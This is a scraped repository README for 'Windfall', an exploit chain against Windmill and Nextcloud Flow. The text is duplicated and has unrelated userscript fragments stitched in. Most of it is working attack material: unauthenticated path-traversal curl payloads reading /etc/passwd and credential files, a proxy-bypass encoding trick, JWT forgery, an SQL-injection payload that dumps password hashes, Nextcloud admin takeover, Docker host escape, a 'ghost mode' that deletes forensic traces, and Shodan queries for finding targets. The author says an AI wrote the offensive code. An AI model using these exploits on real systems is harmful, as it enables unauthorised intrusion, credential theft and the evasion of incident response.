║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║
║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║
║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 6/6 TESTS PASSED ║
║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║
║ ║
║ Key findings: ║
║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║
║ • Credential leak: windmill_users_config.json contains plaintext tokens ║
║ • Detection: Works even when /api/version requires auth (fallback traversal) ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

Quick Start

Path Traversal (Unauthenticated RCE)

# Windmill standalone (auto-detects leak method)
python3 windfall_afr.py http://localhost:8000 -c "id"# Nextcloud Flow (direct access to Windmill container)
python3 windfall_afr.py http://<flow-container-ip>:8000 -c "id"# Nextcloud Flow (via proxy - NO auth required! jobs_u is PUBLIC)
python3 windfall_afr.py https://nextcloud.example.com -c "id"# Interactive shell
python3 windfall_afr.py http://localhost:8000
# Read arbitrary file
python3 windfall_afr.py http://localhost:8000 -r /etc/passwd
# Leak credentials only (no RCE)
python3 windfall_afr.py http://localhost:8000 --leak-users
# Force PostgreSQL file leak method (jwt_secret → forge JWT)
python3 windfall_afr.py http://<flow-container-ip>:8000 --leak-postgres
# Host escape (Docker socket)
python3 windfall_afr.py http://localhost:8000 -H
# Execute command on host
python3 windfall_afr.py http://localhost:8000 --host-cmd "id"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_afr.py http://localhost:8000 -c "id" --clean

SQLi Privilege Escalation (Operator → Super Admin → RCE)

# Windmill standalone
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (direct)
python3 windfall_sqli.py http://<flow-container-ip>:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (proxy) - REQUIRES Nextcloud credentials!# Endpoints like /api/auth/login and /api/w/*/folders/* are blocked without NC auth
python3 windfall_sqli.py https://nextcloud.example.com \
--nc-user admin --nc-pass secret \
-u operator@windmill.dev -p password123 -c "id"# Interactive shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123
# Host shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -H
# Execute command on host
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 --host-cmd "id"# SQLi query only (no RCE)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -q "SELECT version()"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id" --clean

OPSEC: Ghost Mode (--clean)

Both exploits support --clean for operational security. This option:

  1. Marks jobs as deleted via Windmill API (deleted=true)
  2. Completely DELETEs all traces from PostgreSQL using raw protocol:
    • Removes raw_code from v2_job table
    • Removes entries from v2_job_completed table
    • Self-destructs: The cleanup job deletes itself using WM_JOB_ID

Result: Zero forensic evidence. No raw_code, no job history, no traces in the database.

The cleanup uses Windmill's Python execution to implement raw PostgreSQL protocol (SCRAM-SHA-256) from scratch - no external dependencies needed.

Vulnerability Details

Root Cause

// backend/windmill-api/src/jobs.rsasyncfnget_log_file(Path((_w_id, file_p)):Path<(String,String)>) -> error::Result<Response>{let local_file = format!("{TMP_DIR}/logs/{file_p}");// ← No sanitization!// ...}

Proof of Concept

Windmill Standalone (unauthenticated):

# Read /etc/passwd
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"# Leak SUPERADMIN_SECRET
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Nextcloud Flow (NO authentication required!):

# Read /etc/passwd - triple encoding bypasses the proxy chain# Note: The jobs_u endpoint is PUBLIC (access_level=0) - NO Nextcloud auth needed!# No credentials required, works completely unauth!
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"# Leak user tokens and passwords (also unauthenticated)
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json"

PostgreSQL Data File Leak (Advanced)

When PostgreSQL runs in the same container (Nextcloud Flow), we can extract jwt_secret directly from database files:

# 1. Find PostgreSQL data path via /proc
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline"# Returns: postgres -D /nc_app_flow_data/pgsql# 2. Read PostgreSQL data files containing jwt_secret
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149"# Binary data contains: jwt_secret + 32-char secret# 3. Forge JWT with leaked secret → RCE

This technique works because:

  • /proc/*/cmdline reveals the PostgreSQL -D data directory
  • PostgreSQL stores table data in binary files under base/<db_oid>/
  • The global_settings table contains the jwt_secret in plaintext
  • With jwt_secret + valid email, we can forge admin JWTs

Nextcloud Flow Proxy Bypass

Nextcloud Flow embeds Windmill behind a Python/FastAPI proxy. The full proxy chain requires triple encoding:

Request → Nextcloud (PHP) → FastAPI → httpx → Windmill
↓ ↓
URL decode URL decode

Bypass: Use triple URL encoding with safe="" to force encoding of ALL characters (%25252F):

What we sendAfter Nextcloud (PHP)After FastAPIhttpx sendsWindmill sees
../../../normalized❌ blocked
%2F//normalized❌ blocked
%252F%2F/normalized❌ blocked
%25252F%252F%2F%2F/

The triple encoding (with safe="" to force encoding of all characters, not standard triple encoding) survives both Nextcloud's PHP decode and FastAPI's decode, leaving %2F for httpx (which doesn't normalize encoded slashes). Windmill then decodes %2F/ and the traversal succeeds.

Nextcloud Pivot via APP_SECRET

Use the same path traversal to leak APP_SECRET from Flow's environ, then create an admin user on Nextcloud.

# Leak APP_SECRET and list users
python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users
# Create admin user
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin
# Create admin with specific creds
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!'# Verify login
python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!'

Impact: Full Nextcloud takeover - create admin, access all files, admin panel.


SQL Injection (Authenticated)

A second vulnerability allows authenticated users to exfiltrate arbitrary data from Windmill's database via JSONB path injection.

Note: The addowner endpoint requires folder ownership, but any authenticated user can create their own folder (no privilege required) and automatically becomes its owner. This makes the vulnerability exploitable by any authenticated user (including operators).

Vulnerable Code

// backend/windmill-api/src/folders.rs:698-699
sqlx::query(&format!("UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms"))

The owner parameter is directly interpolated into the SQL query without sanitization.

Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│ WINDMILL SQLi │
├─────────────────────────────────────────────────────────────────┤
│ │
│ POST /api/w/{workspace}/folders/addowner/{folder} │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Create │ │ Inject SQL │ │ Read Result │ │
│ │ Folder │───▶│ via owner │───▶│ from perms │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ owner=x"}', (SELECT ...)-- extra_perms.x │
│ │
└─────────────────────────────────────────────────────────────────┘

Payload

{
"owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--"
}

Generated SQL:

UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...)

PoC

python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id"# Output:# [+] Escalating privileges: → super_admin=True# [+] PRIVESC COMPLETE: Operator → Super Admin → RCE# uid=0(root) gid=0(root) groups=0(root)

Impact

CapabilityStatus
Data Exfiltration✅ Full database access
Password Hashes✅ Leaked
User Tokens✅ Leaked
RCE via PostgreSQL❌ Requires superuser

Detection

Shodan:

http.favicon.hash:-309349605
http.favicon.hash:1153595003
http.html:"svelte-global-loader" http.html:"Windmill"

Remediation

  1. Sanitize file path parameters
  2. Require authentication for get_log_file
  3. Run containers as non-root
  4. Enable nsjail sandboxing
  5. Remove Docker socket access

Metasploit Integration

Full Metasploit Framework integration submitted as 5 PRs:

PRModule/LibraryDescription
#21242Rex::Proto::PostgreSQLBinary PostgreSQL heap file parser
#21244Msf::Exploit::Remote::HTTP::WindmillWindmill HTTP mixin
#21245windmill_path_traversal_rce + windmill_sqli_rce + windmill_file_read + windmill_sqliUnauth RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + auxiliaries
#21243Msf::Exploit::Remote::HTTP::Nextcloud::AppApiNextcloud AppApi mixin
#21246auxiliary/admin/http/nextcloud_appapi_shellInteractive Nextcloud shell

Merge order: #21242 first, then #21244, then #21245. Independently: #21243 then #21246.


Discovered by Chocapikk - 2026-01-10

About

Windfall - Unauthenticated RCE exploit chain for Windmill & Nextcloud Flow (CVE-2026-29059). Path traversal + credential leak + PostgreSQL heap dump + Nextcloud AppAPI takeover.

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links"); } } catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); } })(); (function(){ try { var __m = "youtube.com"; var __re = new RegExp('^' + "youtube\\.com" + '
Skip to content

Repository files navigation

Windfall

mic drop

Windmill Path Traversal → Credential Leak → Remote Code Execution

Windfall (n.): An unexpected, unearned, or sudden gain or advantage, exactly what attackers get from this vulnerability.

PropertyValue
NameWindfall
CVE (Path Traversal)CVE-2026-29059 (Windmill & Nextcloud Flow)
CVE (SQLi)CVE-2026-23696 (Windmill & Nextcloud Flow)
CVE (Operator Bypass)CVE-2026-22683 (Windmill & Nextcloud Flow)
Affected (Path Traversal)Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
Affected (SQLi)Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
FixedWindmill v1.603.3, Nextcloud Flow v1.3.0
Disclosed2026-01-10
CreditChocapikk

CVSS 4.0 Scores

VulnerabilityContextScoreVector
Path TraversalWindmill + Docker socket10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalWindmill (no docker)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalNextcloud Flow (proxy)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescWindmill + Docker socket9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescNextcloud Flow9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Key factors:

  • Windmill standalone: Unauthenticated (PR:N), Docker socket often mounted → host escape (SC/SI/SA:H)
  • Nextcloud Flow (proxy): Also unauthenticated! The vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in Flow's route table
  • SQLi: Requires Windmill account (PR:L), but any operator can escalate to super_admin → RCE

Summary

Two critical vulnerabilities in Windmill:

  1. Unauthenticated Path Traversal: Read arbitrary files, leak credentials, achieve RCE
  2. Authenticated SQL Injection: Exfiltrate any data from Windmill's PostgreSQL database

About This Exploit

This wasn't supposed to be this big.

What started as a simple PoC quickly evolved into a full exploitation framework. I had the opportunity to push the boundaries and see how far I could go in terms of technical sophistication.

How it was built: This exploit was developed through a collaborative workflow with AI assistance. I provided prompts and architectural guidance, while the AI generated the actual code. This allowed me to focus on the "what" and "why" (attack chains, OPSEC requirements, edge cases) while the AI handled the "how" (implementation details, protocol specifications, error handling).

The result is a production-grade framework with:

  • Auto-detection of deployment types (Standalone / Flow Direct / Flow Proxy)
  • Multiple credential leak methods with automatic fallbacks
  • Raw PostgreSQL protocol implementation (SCRAM-SHA-256 from scratch)
  • Self-destruct cleanup using WM_JOB_ID (zero forensic evidence)
  • Modular architecture for extensibility
  • Blind mode support when endpoints are blocked

This demonstrates what's possible when you have the chance to push technical limits. The exploit works in all scenarios, handles edge cases gracefully, and includes advanced OPSEC techniques that go beyond typical PoCs.

Why so sophisticated? Because I could. This was a test of how far we can push exploitation tooling when given the opportunity to build something properly rather than just "making it work". It's also a demonstration of AI-assisted development: with the right prompts and architectural vision, AI can generate production-quality offensive tooling.

Impact

VectorWindmill StandaloneFlow (Direct)Flow (Proxy)
File Read✅ Unauthenticated✅ UnauthenticatedUnauthenticated!
Credential Leak⚠️SUPERADMIN_SECRET (optional)✅ JSON config + PostgreSQL✅ JSON config + PostgreSQL
PostgreSQL Leak⚠️ Separate container (Docker)✅ Same container✅ Same container
Container RCE✅ Root (if secret configured)✅ Root✅ Root
Host Escape✅ Via Docker socket

⚠️ Critical Discovery: The vulnerable jobs_u endpoint is registered with access_level=0 (PUBLIC) in Flow's AppAPI route table. This means no Nextcloud authentication is required to exploit the path traversal via the Nextcloud proxy! Flow deployments are just as vulnerable as standalone Windmill.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────┐
│ WINDFALL │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ Path │ │ Credential │ │ Remote Code │ │
│ │ Traversal │───▶│ Leak │───▶│ Execution │ │
│ │ (Unauth) │ │ │ │ (Root) │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ /etc/passwd 3 Methods: Container RCE │
│ /proc/environ ├─ windmill_users_config.json (Flow) │
│ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │
│ └─ PostgreSQL files → jwt_secret → forge JWT │
│ │
├─────────────────────────────────────────────────────────────────────────┤
│ PostgreSQL Data Leak (when DB in same container): │
│ │
│ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │
│ │ │
│ ▼ │
│ Forge JWT → RCE │
└─────────────────────────────────────────────────────────────────────────┘

Exploits

ExploitDescriptionAuth Required
windfall_afr.pyPath Traversal → Token Leak → RCE❌ None (all deployments unauth)
windfall_sqli.pySQLi → JWT Forge → Privesc → RCEOperator account (+ NC creds for proxy)
windfall_nc_pivot.pyPath Traversal → APP_SECRET → NC Admin❌ None (same path traversal)

Credential Leak Methods (windfall_afr.py)

The path traversal exploit tries multiple methods to obtain credentials:

PriorityMethodTargetWorks On
1windmill_users_config.json/nc_app_flow_data/...Nextcloud Flow
2SUPERADMIN_SECRET/proc/1/environStandalone (if configured)
3PostgreSQL files/proc → pg_data → jwt_secretSame container (Flow)

Both exploits auto-detect deployment type and adapt accordingly:

DeploymentPath TraversalSQLi
Windmill Standalone✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Direct)✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Proxy)Unauthenticated!⚠️ Operator → Super Admin (NC creds REQUIRED)

Note: Flow's vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in the AppAPI database, meaning the proxy passes requests without checking Nextcloud credentials. No Nextcloud authentication is required for path traversal. However, SQLi via proxy REQUIRES Nextcloud credentials because endpoints like /api/auth/login and /api/w/*/folders/* are blocked without Nextcloud authentication.

Test Results

All 6 scenarios tested and confirmed:

╔═══════════════════════════════════════════════════════════════════════════════════╗
║ WINDFALL TEST RESULTS ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ # │ Exploit │ Deployment │ Auth Required │ Result ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║
║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║
║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 6/6 TESTS PASSED ║
║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║
║ ║
║ Key findings: ║
║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║
║ • Credential leak: windmill_users_config.json contains plaintext tokens ║
║ • Detection: Works even when /api/version requires auth (fallback traversal) ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

Quick Start

Path Traversal (Unauthenticated RCE)

# Windmill standalone (auto-detects leak method)
python3 windfall_afr.py http://localhost:8000 -c "id"# Nextcloud Flow (direct access to Windmill container)
python3 windfall_afr.py http://<flow-container-ip>:8000 -c "id"# Nextcloud Flow (via proxy - NO auth required! jobs_u is PUBLIC)
python3 windfall_afr.py https://nextcloud.example.com -c "id"# Interactive shell
python3 windfall_afr.py http://localhost:8000
# Read arbitrary file
python3 windfall_afr.py http://localhost:8000 -r /etc/passwd
# Leak credentials only (no RCE)
python3 windfall_afr.py http://localhost:8000 --leak-users
# Force PostgreSQL file leak method (jwt_secret → forge JWT)
python3 windfall_afr.py http://<flow-container-ip>:8000 --leak-postgres
# Host escape (Docker socket)
python3 windfall_afr.py http://localhost:8000 -H
# Execute command on host
python3 windfall_afr.py http://localhost:8000 --host-cmd "id"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_afr.py http://localhost:8000 -c "id" --clean

SQLi Privilege Escalation (Operator → Super Admin → RCE)

# Windmill standalone
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (direct)
python3 windfall_sqli.py http://<flow-container-ip>:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (proxy) - REQUIRES Nextcloud credentials!# Endpoints like /api/auth/login and /api/w/*/folders/* are blocked without NC auth
python3 windfall_sqli.py https://nextcloud.example.com \
--nc-user admin --nc-pass secret \
-u operator@windmill.dev -p password123 -c "id"# Interactive shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123
# Host shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -H
# Execute command on host
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 --host-cmd "id"# SQLi query only (no RCE)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -q "SELECT version()"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id" --clean

OPSEC: Ghost Mode (--clean)

Both exploits support --clean for operational security. This option:

  1. Marks jobs as deleted via Windmill API (deleted=true)
  2. Completely DELETEs all traces from PostgreSQL using raw protocol:
    • Removes raw_code from v2_job table
    • Removes entries from v2_job_completed table
    • Self-destructs: The cleanup job deletes itself using WM_JOB_ID

Result: Zero forensic evidence. No raw_code, no job history, no traces in the database.

The cleanup uses Windmill's Python execution to implement raw PostgreSQL protocol (SCRAM-SHA-256) from scratch - no external dependencies needed.

Vulnerability Details

Root Cause

// backend/windmill-api/src/jobs.rsasyncfnget_log_file(Path((_w_id, file_p)):Path<(String,String)>) -> error::Result<Response>{let local_file = format!("{TMP_DIR}/logs/{file_p}");// ← No sanitization!// ...}

Proof of Concept

Windmill Standalone (unauthenticated):

# Read /etc/passwd
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"# Leak SUPERADMIN_SECRET
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Nextcloud Flow (NO authentication required!):

# Read /etc/passwd - triple encoding bypasses the proxy chain# Note: The jobs_u endpoint is PUBLIC (access_level=0) - NO Nextcloud auth needed!# No credentials required, works completely unauth!
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"# Leak user tokens and passwords (also unauthenticated)
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json"

PostgreSQL Data File Leak (Advanced)

When PostgreSQL runs in the same container (Nextcloud Flow), we can extract jwt_secret directly from database files:

# 1. Find PostgreSQL data path via /proc
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline"# Returns: postgres -D /nc_app_flow_data/pgsql# 2. Read PostgreSQL data files containing jwt_secret
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149"# Binary data contains: jwt_secret + 32-char secret# 3. Forge JWT with leaked secret → RCE

This technique works because:

  • /proc/*/cmdline reveals the PostgreSQL -D data directory
  • PostgreSQL stores table data in binary files under base/<db_oid>/
  • The global_settings table contains the jwt_secret in plaintext
  • With jwt_secret + valid email, we can forge admin JWTs

Nextcloud Flow Proxy Bypass

Nextcloud Flow embeds Windmill behind a Python/FastAPI proxy. The full proxy chain requires triple encoding:

Request → Nextcloud (PHP) → FastAPI → httpx → Windmill
↓ ↓
URL decode URL decode

Bypass: Use triple URL encoding with safe="" to force encoding of ALL characters (%25252F):

What we sendAfter Nextcloud (PHP)After FastAPIhttpx sendsWindmill sees
../../../normalized❌ blocked
%2F//normalized❌ blocked
%252F%2F/normalized❌ blocked
%25252F%252F%2F%2F/

The triple encoding (with safe="" to force encoding of all characters, not standard triple encoding) survives both Nextcloud's PHP decode and FastAPI's decode, leaving %2F for httpx (which doesn't normalize encoded slashes). Windmill then decodes %2F/ and the traversal succeeds.

Nextcloud Pivot via APP_SECRET

Use the same path traversal to leak APP_SECRET from Flow's environ, then create an admin user on Nextcloud.

# Leak APP_SECRET and list users
python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users
# Create admin user
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin
# Create admin with specific creds
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!'# Verify login
python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!'

Impact: Full Nextcloud takeover - create admin, access all files, admin panel.


SQL Injection (Authenticated)

A second vulnerability allows authenticated users to exfiltrate arbitrary data from Windmill's database via JSONB path injection.

Note: The addowner endpoint requires folder ownership, but any authenticated user can create their own folder (no privilege required) and automatically becomes its owner. This makes the vulnerability exploitable by any authenticated user (including operators).

Vulnerable Code

// backend/windmill-api/src/folders.rs:698-699
sqlx::query(&format!("UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms"))

The owner parameter is directly interpolated into the SQL query without sanitization.

Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│ WINDMILL SQLi │
├─────────────────────────────────────────────────────────────────┤
│ │
│ POST /api/w/{workspace}/folders/addowner/{folder} │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Create │ │ Inject SQL │ │ Read Result │ │
│ │ Folder │───▶│ via owner │───▶│ from perms │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ owner=x"}', (SELECT ...)-- extra_perms.x │
│ │
└─────────────────────────────────────────────────────────────────┘

Payload

{
"owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--"
}

Generated SQL:

UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...)

PoC

python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id"# Output:# [+] Escalating privileges: → super_admin=True# [+] PRIVESC COMPLETE: Operator → Super Admin → RCE# uid=0(root) gid=0(root) groups=0(root)

Impact

CapabilityStatus
Data Exfiltration✅ Full database access
Password Hashes✅ Leaked
User Tokens✅ Leaked
RCE via PostgreSQL❌ Requires superuser

Detection

Shodan:

http.favicon.hash:-309349605
http.favicon.hash:1153595003
http.html:"svelte-global-loader" http.html:"Windmill"

Remediation

  1. Sanitize file path parameters
  2. Require authentication for get_log_file
  3. Run containers as non-root
  4. Enable nsjail sandboxing
  5. Remove Docker socket access

Metasploit Integration

Full Metasploit Framework integration submitted as 5 PRs:

PRModule/LibraryDescription
#21242Rex::Proto::PostgreSQLBinary PostgreSQL heap file parser
#21244Msf::Exploit::Remote::HTTP::WindmillWindmill HTTP mixin
#21245windmill_path_traversal_rce + windmill_sqli_rce + windmill_file_read + windmill_sqliUnauth RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + auxiliaries
#21243Msf::Exploit::Remote::HTTP::Nextcloud::AppApiNextcloud AppApi mixin
#21246auxiliary/admin/http/nextcloud_appapi_shellInteractive Nextcloud shell

Merge order: #21242 first, then #21244, then #21245. Independently: #21243 then #21246.


Discovered by Chocapikk - 2026-01-10

About

Windfall - Unauthenticated RCE exploit chain for Windmill & Nextcloud Flow (CVE-2026-29059). Path traversal + credential leak + PostgreSQL heap dump + Nextcloud AppAPI takeover.

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default"); } } catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

Windfall

mic drop

Windmill Path Traversal → Credential Leak → Remote Code Execution

Windfall (n.): An unexpected, unearned, or sudden gain or advantage, exactly what attackers get from this vulnerability.

PropertyValue
NameWindfall
CVE (Path Traversal)CVE-2026-29059 (Windmill & Nextcloud Flow)
CVE (SQLi)CVE-2026-23696 (Windmill & Nextcloud Flow)
CVE (Operator Bypass)CVE-2026-22683 (Windmill & Nextcloud Flow)
Affected (Path Traversal)Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
Affected (SQLi)Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
FixedWindmill v1.603.3, Nextcloud Flow v1.3.0
Disclosed2026-01-10
CreditChocapikk

CVSS 4.0 Scores

VulnerabilityContextScoreVector
Path TraversalWindmill + Docker socket10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalWindmill (no docker)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalNextcloud Flow (proxy)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
